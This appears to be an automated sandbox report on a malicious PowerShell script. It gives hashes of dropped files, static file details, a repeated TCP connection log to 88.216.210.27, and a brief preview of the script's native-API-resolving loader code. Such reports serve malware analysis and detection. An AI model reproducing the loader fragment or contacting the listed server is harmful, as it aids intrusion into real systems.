Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nhdlykep.t4s.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6206
Entropy (8bit):	3.758884964964755
Encrypted:	false
SSDEEP:	96:9Z69RTsC/f3xkvhkvCCtno1qZHEo1qZHe:r69RXln8m
MD5:	02872D7CEB369EB3167EF69EE41C773C
SHA1:	CB636BB17CF636F84BE2317193E796D437DF7C87
SHA-256:	DB131BFC96A2F11B9EC394339006317AEA1EDF925883BEF133A6F767A6CA8D72
SHA-512:	A59B9B97CA47776E63CB250B5CACADD12DC612B07F8BC4AD1BEDE94794DE3DCF1BA58672C377214DA44A7808132DC9BFD6A420119126E8EDB7F9E903BF9700DC
Malicious:	false
Preview:	...................................FL..................F.".. .......-..7.4..a..\.................................:..DG..Yr?.D..U..k0.&...&...........-..T\.....WY...j......t...CFSF..1......NM...AppData...t.Y^...H.g.3..(.....gVA.G..k...@.......NM..V5O.....Y.....................R..A.p.p.D.a.t.a...B.V.1......NN...Roaming.@.......NM..V7O.....Y....................f...R.o.a.m.i.n.g.....\.1.....>Qbu..MICROS~1..D.......NM..V7O.....Y.....................!Z.M.i.c.r.o.s.o.f.t.....V.1......U...Windows.@.......NM..U......Y........................W.i.n.d.o.w.s.......1......NN...STARTM~1..n.......NM..U.......Y..............D.........S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1......P.t..Programs..j.......NM..U.......Y..............@......3..P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......L...WINDOW~1..V.......NM..U......Y....................T_..W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......L.. .WINDOW~1.LNK..^.......NM..P......Y..........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZBAHHOHE5YMQ79SUESS3.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6206
Entropy (8bit):	3.758884964964755
Encrypted:	false
SSDEEP:	96:9Z69RTsC/f3xkvhkvCCtno1qZHEo1qZHe:r69RXln8m
MD5:	02872D7CEB369EB3167EF69EE41C773C
SHA1:	CB636BB17CF636F84BE2317193E796D437DF7C87
SHA-256:	DB131BFC96A2F11B9EC394339006317AEA1EDF925883BEF133A6F767A6CA8D72
SHA-512:	A59B9B97CA47776E63CB250B5CACADD12DC612B07F8BC4AD1BEDE94794DE3DCF1BA58672C377214DA44A7808132DC9BFD6A420119126E8EDB7F9E903BF9700DC
Malicious:	false
Preview:	...................................FL..................F.".. .......-..7.4..a..\.................................:..DG..Yr?.D..U..k0.&...&...........-..T\.....WY...j......t...CFSF..1......NM...AppData...t.Y^...H.g.3..(.....gVA.G..k...@.......NM..V5O.....Y.....................R..A.p.p.D.a.t.a...B.V.1......NN...Roaming.@.......NM..V7O.....Y....................f...R.o.a.m.i.n.g.....\.1.....>Qbu..MICROS~1..D.......NM..V7O.....Y.....................!Z.M.i.c.r.o.s.o.f.t.....V.1......U...Windows.@.......NM..U......Y........................W.i.n.d.o.w.s.......1......NN...STARTM~1..n.......NM..U.......Y..............D.........S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1......P.t..Programs..j.......NM..U.......Y..............@......3..P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......L...WINDOW~1..V.......NM..U......Y....................T_..W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......L.. .WINDOW~1.LNK..^.......NM..P......Y..........

Static File Info

General

File type:	ASCII text, with very long lines (63887), with CRLF line terminators
Entropy (8bit):	5.924442604908498
TrID:
File name:	245f38b4b8a25754bf6e630f8e2acf59.ps1
File size:	286922
MD5:	25da2ffacd07ebf65a6b822026dc376a
SHA1:	b3823cc7dd589652b08ea661ce7e0fca14a4e09d
SHA256:	485263958f6879d443576f50cf7e10e48e8c05b2826ee175d28244f1aba991a4
SHA512:	36360c3a0739b283b41b41c0e45b83987e70e819cfa0d2e67775f7a062f387cfcba47f5280200a7968504ab90a0fcc3d79547b4212964f40b6956fb6a4a6e99e
SSDEEP:	6144:gnHrLhifxGFbvmUoNwVn2rf/I3U5LWNZeT8rLgC5616A:gnhGxGV4NLfw3U5sGIBA
TLSH:	BE549E513F000CADE709F1279552B9E884C4EB5F3881C65568EDAA8928F8CF4BDF92C7
File Content Preview:	Set-StrictMode -Version 2....$DoIt = @'..function func_get_proc_address {...Param ($var_module, $var_procedure).....$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\

File Icon


Icon Hash:	72f2d6fef6f6dae4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 9, 2023 02:58:38.479103088 CEST	49684	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:38.625399113 CEST	80	49684	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:38.625607014 CEST	49684	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:38.625735044 CEST	49684	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:38.772088051 CEST	80	49684	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:38.774967909 CEST	80	49684	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:38.775032997 CEST	49684	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:38.775122881 CEST	80	49684	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:38.775149107 CEST	80	49684	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:38.775170088 CEST	80	49684	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:38.775175095 CEST	49684	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:38.775198936 CEST	49684	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:38.775223017 CEST	49684	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:38.775969028 CEST	49684	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:38.894787073 CEST	49685	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:38.923165083 CEST	80	49684	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:39.058701992 CEST	80	49685	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:39.058923960 CEST	49685	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:39.059070110 CEST	49685	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:39.217629910 CEST	80	49685	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:39.220506907 CEST	80	49685	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:39.220542908 CEST	80	49685	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:39.220571041 CEST	80	49685	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:39.220613956 CEST	49685	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:39.220659018 CEST	49685	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:39.220860004 CEST	49685	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:39.339926004 CEST	49686	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:39.378403902 CEST	80	49685	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:39.487047911 CEST	80	49686	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:39.487566948 CEST	49686	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:39.487566948 CEST	49686	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:39.633965015 CEST	80	49686	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:39.638436079 CEST	80	49686	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:39.638509989 CEST	80	49686	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:39.638549089 CEST	80	49686	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:39.638582945 CEST	49686	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:39.638582945 CEST	49686	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:39.638802052 CEST	49686	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:39.638802052 CEST	49686	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:39.752463102 CEST	49687	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:39.785726070 CEST	80	49686	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:39.913218975 CEST	80	49687	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:39.913419008 CEST	49687	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:39.913552999 CEST	49687	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:40.075836897 CEST	80	49687	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:40.078819036 CEST	80	49687	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:40.078861952 CEST	80	49687	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:40.078891039 CEST	80	49687	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:40.078974962 CEST	49687	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:40.079364061 CEST	49687	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:40.079454899 CEST	49687	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:40.203629971 CEST	49688	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:40.242777109 CEST	80	49687	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:40.353908062 CEST	80	49688	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:40.359786034 CEST	49688	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:40.367743969 CEST	49688	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:40.514985085 CEST	80	49688	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:40.517045021 CEST	80	49688	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:40.517190933 CEST	80	49688	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:40.517189026 CEST	49688	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:40.517241955 CEST	80	49688	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:40.517278910 CEST	49688	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:40.517332077 CEST	49688	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:40.517829895 CEST	49688	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:40.628748894 CEST	49689	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:40.664022923 CEST	80	49688	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:40.788278103 CEST	80	49689	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:40.790859938 CEST	49689	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:40.793776035 CEST	49689	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:40.949063063 CEST	80	49689	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:40.951584101 CEST	80	49689	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:40.951633930 CEST	80	49689	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:40.951688051 CEST	80	49689	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:40.951698065 CEST	49689	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:40.951747894 CEST	49689	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:40.951886892 CEST	49689	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:41.068470955 CEST	49690	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:41.106323004 CEST	80	49689	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:41.215924025 CEST	80	49690	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:41.216204882 CEST	49690	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:41.220232010 CEST	49690	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:41.366739988 CEST	80	49690	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:41.368990898 CEST	80	49690	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:41.369014978 CEST	80	49690	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:41.369092941 CEST	80	49690	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:41.369160891 CEST	49690	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:41.369196892 CEST	49690	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:41.369345903 CEST	49690	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:41.487876892 CEST	49691	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:41.648380995 CEST	80	49691	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:41.650249004 CEST	49691	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:41.650490999 CEST	49691	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:41.782457113 CEST	49690	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:41.807842970 CEST	80	49691	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:41.810600042 CEST	80	49691	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:41.810683012 CEST	80	49691	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:41.810760975 CEST	49691	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:41.810760975 CEST	49691	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:41.810771942 CEST	80	49691	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:41.810889006 CEST	49691	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:41.811183929 CEST	49691	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:41.928173065 CEST	49692	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:41.928819895 CEST	80	49690	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:41.969058990 CEST	80	49691	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:42.075699091 CEST	80	49692	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:42.075915098 CEST	49692	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:42.076037884 CEST	49692	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:42.222305059 CEST	80	49692	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:42.226232052 CEST	80	49692	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:42.226411104 CEST	49692	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:42.226628065 CEST	80	49692	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:42.226665020 CEST	80	49692	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:42.226702929 CEST	49692	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:42.226738930 CEST	49692	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:42.226778030 CEST	49692	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:42.332191944 CEST	49693	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:42.373436928 CEST	80	49692	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:42.482486010 CEST	80	49693	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:42.482623100 CEST	49693	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:42.482841015 CEST	49693	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:42.629301071 CEST	80	49693	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:42.631596088 CEST	80	49693	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:42.631715059 CEST	80	49693	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:42.631748915 CEST	80	49693	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:42.631752014 CEST	49693	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:42.631836891 CEST	49693	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:42.631838083 CEST	49693	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:42.631937027 CEST	49693	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:42.741636992 CEST	49694	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:42.888235092 CEST	80	49694	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:42.888459921 CEST	49694	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:42.888572931 CEST	49694	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:43.034929037 CEST	80	49694	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:43.037216902 CEST	80	49694	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:43.037251949 CEST	80	49694	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:43.037278891 CEST	80	49694	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:43.037302017 CEST	49694	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:43.037333965 CEST	49694	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:43.037523985 CEST	49694	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:43.063797951 CEST	49693	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:43.144733906 CEST	49695	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:43.229801893 CEST	80	49693	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:43.309540033 CEST	80	49695	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:43.309735060 CEST	49695	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:43.309974909 CEST	49695	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:43.454477072 CEST	49694	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:43.469310999 CEST	80	49695	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:43.471791029 CEST	80	49695	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:43.471823931 CEST	80	49695	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:43.471847057 CEST	80	49695	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:43.471954107 CEST	49695	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:43.471988916 CEST	49695	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:43.472230911 CEST	49695	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:43.584095001 CEST	49696	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:43.604098082 CEST	80	49694	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:43.630466938 CEST	80	49695	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:43.732094049 CEST	80	49696	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:43.732191086 CEST	49696	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:43.732454062 CEST	49696	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:43.878700018 CEST	80	49696	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:43.881478071 CEST	80	49696	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:43.881508112 CEST	80	49696	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:43.881583929 CEST	49696	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:43.881583929 CEST	49696	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:43.881705999 CEST	80	49696	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:43.881761074 CEST	49696	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:43.881974936 CEST	49696	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:43.992187977 CEST	49697	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:44.028171062 CEST	80	49696	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:44.140238047 CEST	80	49697	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:44.140332937 CEST	49697	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:44.140470028 CEST	49697	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:44.286874056 CEST	80	49697	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:44.288948059 CEST	80	49697	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:44.288979053 CEST	80	49697	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:44.288999081 CEST	80	49697	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:44.289024115 CEST	80	49697	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:44.289052010 CEST	49697	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:44.289094925 CEST	49697	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:44.292108059 CEST	49697	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:44.412024021 CEST	49698	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:44.438381910 CEST	80	49697	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:44.558331966 CEST	80	49698	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:44.560286999 CEST	49698	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:44.561029911 CEST	49698	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:44.707298040 CEST	80	49698	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:44.709651947 CEST	80	49698	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:44.709677935 CEST	80	49698	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:44.709701061 CEST	80	49698	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:44.709780931 CEST	49698	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:44.709826946 CEST	49698	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:44.709985018 CEST	49698	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:44.816024065 CEST	49699	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:44.962461948 CEST	80	49699	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:44.962814093 CEST	49699	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:44.966274977 CEST	49699	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:45.112550974 CEST	80	49699	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:45.115094900 CEST	80	49699	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:45.115123034 CEST	80	49699	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:45.115140915 CEST	80	49699	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:45.115159035 CEST	80	49699	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:45.115210056 CEST	49699	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:45.115281105 CEST	49699	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:45.115281105 CEST	49699	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:45.115389109 CEST	49699	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:45.126554012 CEST	49698	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:45.225415945 CEST	49700	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:45.261511087 CEST	80	49699	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:45.273272038 CEST	80	49698	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:45.371772051 CEST	80	49700	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:45.376195908 CEST	49700	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:45.376580000 CEST	49700	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:45.522737980 CEST	80	49700	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:45.525330067 CEST	80	49700	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:45.525355101 CEST	80	49700	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:45.525376081 CEST	80	49700	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:45.525475979 CEST	49700	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:45.525517941 CEST	49700	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:45.530663013 CEST	49700	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:45.643666983 CEST	49701	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:45.677166939 CEST	80	49700	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:45.790373087 CEST	80	49701	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:45.790853024 CEST	49701	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:45.791019917 CEST	49701	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:45.937474012 CEST	80	49701	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:45.940045118 CEST	80	49701	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:45.940109968 CEST	80	49701	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:45.940159082 CEST	80	49701	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:45.940288067 CEST	49701	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:45.940393925 CEST	49701	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:45.940495968 CEST	49701	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:46.057430029 CEST	49702	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:46.203839064 CEST	80	49702	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:46.203996897 CEST	49702	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:46.204155922 CEST	49702	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:46.345372915 CEST	49701	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:46.350406885 CEST	80	49702	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:46.352881908 CEST	80	49702	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:46.353071928 CEST	49702	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:46.353096962 CEST	80	49702	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:46.353127956 CEST	80	49702	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:46.353176117 CEST	49702	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:46.353260994 CEST	49702	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:46.353390932 CEST	49702	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:46.475703001 CEST	49703	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:46.491753101 CEST	80	49701	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:46.499496937 CEST	80	49702	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:46.622087955 CEST	80	49703	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:46.622431993 CEST	49703	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:46.624484062 CEST	49703	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:46.770747900 CEST	80	49703	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:46.773291111 CEST	80	49703	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:46.773335934 CEST	80	49703	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:46.773359060 CEST	80	49703	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:46.773566961 CEST	49703	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:46.773837090 CEST	49703	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:46.882246017 CEST	49704	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:46.920037985 CEST	80	49703	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:47.028748989 CEST	80	49704	88.216.210.27	192.168.2.5
Apr 9, 2023 02:58:47.028922081 CEST	49704	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:47.029097080 CEST	49704	80	192.168.2.5	88.216.210.27
Apr 9, 2023 02:58:47.175432920 CEST	80	49704	88.216.210.27	192.168.2.5
